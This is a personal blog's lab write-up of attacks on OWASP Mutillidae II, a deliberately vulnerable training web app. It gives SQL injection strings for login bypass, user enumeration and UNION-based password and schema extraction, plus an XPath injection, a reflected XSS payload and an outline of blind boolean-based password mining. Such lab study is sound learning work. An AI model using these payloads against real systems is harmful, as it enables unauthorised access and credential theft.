About this blog

I'm a developer with over 10 years experience who wants to transition to infosec. This blog is an informal record of my experiments with OWASP's Mutillidae II, a web application exhibiting a multitude of deliberate vulnerabilities. I will also take Offensive Security's PWK training course and get the OSCP certificate
Showing posts with label chatty errors. Show all posts
Showing posts with label chatty errors. Show all posts

Wednesday, 31 August 2016

User lookup page vulnerabilities

You have to enter a user/pass and it will return the info for that account.

To return all user info:

For the SQL version: or true;#

For the XPath version: ' or 'a' = 'a

For the SOAP version, all you have to do is install SoapUI, paste in the WSDL location to generate sample requests, then the API allows you to CRUD account entries - no security whatsoever.


Note: I had problems getting SoapUI 5.x.x to work with Kali, so I used 4.x.x instead.

The SOAP requests are injectable.  

The API is a bit chatty:

User stabinthedark does not exist
User admin already exists

The API allows us to createUser without any security.

The getUser operation can be made to list enumerate all users.

' or username like '%';#

Because it's a non-blind sqli, we can use it to get passwords (or any other data we know the table/column names of), stuffing the results into a column like signature:

admin' union select username, password from accounts where username = 'admin' limit 1,1;#


Because the permissions are so bad, we can even look up all the tables (and from there all the columns, and from there all the content...):

admin' union select table_schema, table_name from information_schema.tables;#



updateUser just overwrites data without any security checks at all.  Entering naughty things into the fields resulted in a chatty error message (decoded by this) telling me how the query was formulated.

UPDATE accounts 
SET 
username = 'admin', 
password = 'default', 
mysignature = 'default'
WHERE
username = 'admin';

Because this is a multiline statement, it's a bit tricker to inject, but still doable.  But why bother when it is already allowing you to update accounts with no authentication or authorization checks!

The page is also vulnerable to reflected XSS, e.g. injecting 

<script>new Image().src = "http://localhost/mutillidae/index.php?page=capture-data.php";</script>

...into this GET...

http://localhost/mutillidae/index.php?page=user-info.php&username=%3Cscript%3Enew+Image%28%29.src+%3D+%22http%3A%2F%2Flocalhost%2Fmutillidae%2Findex.php%3Fpage%3Dcapture-data.php%22%3B%3C%2Fscript%3E&password=&user-info-php-submit-button=View+Account+Details

..leads to the 'attacker' page being called.

I didn't bother to send the cookie and whatnot as payload (which I'd need if I sent the request to another domain) because it's trivial.

Monday, 29 August 2016

Brute force data mining with any sqli

So on the first page I looked at - login - there was a sqli.  We can't get any SELECT output from the sqli (e.g. SELECT PASSWORD...), so I think that's called a 'blind' sqli.

Anyway, we can distinguish between an arbitrary proposition passing and failing (in our case by presence/absence of error message, although a timing attack would also do), and in conjunction with already knowing the table and column name (thanks to that chatty error message), it is enough to have a go at brute force mining the password, in case it is in plain text.

I mine the length first, for two reasons:
  1. It will cut the number of requests down (don't have to exhaust the character set at the end)
  2. My testing found that character indexes that didn't exist matched a space, and I couldn't be bothered to make a special case for detecting actual space versus a nonexistent char
I also looked up the frequency of password chars and test for them in that order, to reduce request volume.

Result:

length  9
password 'adminpass'
77  requests in total

It was plain text, which is bad.  I think most people know by now to store salted hashes, and make the hash cost high.

Brute forcing is noisy, but really 77 requests is cheap to get a password!  That sort of volume probably won't attract any attention, and nobody gets locked out of their account either (we aren't passing a username when we fail).

Really, any sqli will do.  And if I didn't know the table/column name, I could get 'meta' and start brute force mining the schema/table/column names themselves and burrow top-down into interesting strings (really noisy, but it'll work if the permissions are good).

Login sqli

The page allows you to discover whether an account exists, which is info leakage.
The username case doesn't seem to matter, admin, Admin, aDmIn are all treated the same.

Single quote in username field:

Query: SELECT username FROM accounts WHERE username='''; (0) [Exception] 

Single quote in password field:

Query: SELECT * FROM accounts WHERE username='' AND password=''' (0) [Exception]

It also shows that MySQL is being used.  An application should not be giving this kind of information away when an error happens.

Presumably if a row is returned, the app takes this as a successful auth, so let's try:

' or true;#
There are likely other accounts... and returning more than one row should have resulted in an expectations violation, but it didn't.

' or true limit 1,1;#
Not knowing Python at all (and wanting to learn it instead of using bash), it took me a while to write a satisfactory script to enumerate accounts:

Result:

{'bryce', 'dave', 'admin', 'cal', 'patches', 'jeremy', 'PPan', 'dreveil', 'samurai', 'scotty', 'jim', 'kevin', 'adrian', 'bobby', 'james', 'simba', 'john', 'rocky', 'ed', 'tim', 'ABaker', 'CHook'} 
22 accounts 

Or we could have just gunned straight for any user we know the name of, etc:

' or username = 'kevin';#